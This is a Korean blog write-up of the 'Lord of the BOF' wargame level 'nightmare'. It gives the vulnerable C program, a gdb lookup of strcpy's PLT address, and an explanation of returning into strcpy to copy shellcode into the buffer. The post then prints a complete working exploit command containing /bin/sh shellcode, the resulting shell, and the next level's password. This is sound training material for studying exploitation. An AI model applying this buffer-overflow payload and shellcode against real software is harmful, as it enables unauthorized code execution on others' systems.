/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // check address

        addr = (char *)&strcpy;//strcpy의 주소를 담음

        if(memcmp(argv[1]+44, &addr, 4) != 0){//argv+44이후의 4바이트가 addr이 담는 주소와 같아야한다.

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);//버퍼48개 뒤에는 AAAA로 초기화

}




[succubus@localhost succubus]$ gdb nightmar1

(gdb) p strcpy

$1 = {<text variable, no debug info>} 0x8048410 <strcpy>

strcpy함수의 특성을 잘 사용해서 exploit하는 문제이다. 

페이로드와 같이 strcpy plt를 이용해서 argv[2]에 넣었던 shellcode를 버퍼(destination)에 넣어주고 ret주소를 

버퍼로 바꿔주면 버퍼로 ret하면서 쉘코드가 실행되고 exploit된다.


쉘코드가 들어갈 공간이 없다면 system함수의 plt를 사용해서 문제를 풀어도 된다.


페이로드 = "A"*44 (44) + strcpy주소(리턴어드레스변조) (4)+  쉘코드의 시작주소(ret어드레스 주소공간) (4) + 목적지주소(버퍼시작주소) (4) + 소스주소(argv[2] 살짝 뒤 nop가 있는주소) (4) , argv[2]



[succubus@localhost succubus]$ ./nightmar2 `python -c 'print "A"*44+"\x10\x84\x04\x08"+"\xee\xfb\xff\xbf"+"\x30\xfa\xff\xbf"+"\xa9\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

buffer -> 0xbffffa30
argv[1] -> 0xbffffba9
argv[2] -> 0xbffffbe6




[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"\xee\xfb\xff\xbf"+"\x30\xfa\xff\xbf"+"\xa9\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒0▒▒▒▒▒▒▒

bash$ whoami

nightmare

bash$ my-pass

euid = 518

beg for me



'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

20.lob xavius->death_knight  (0) 2018.01.15
19.lob nightmare->xavius  (0) 2018.01.15
17.lob zombie_assassin->succubus  (0) 2018.01.15
16.lob assassin->zombie_assassin  (0) 2018.01.14
15.lob giant->assassin  (0) 2018.01.11

+ Recent posts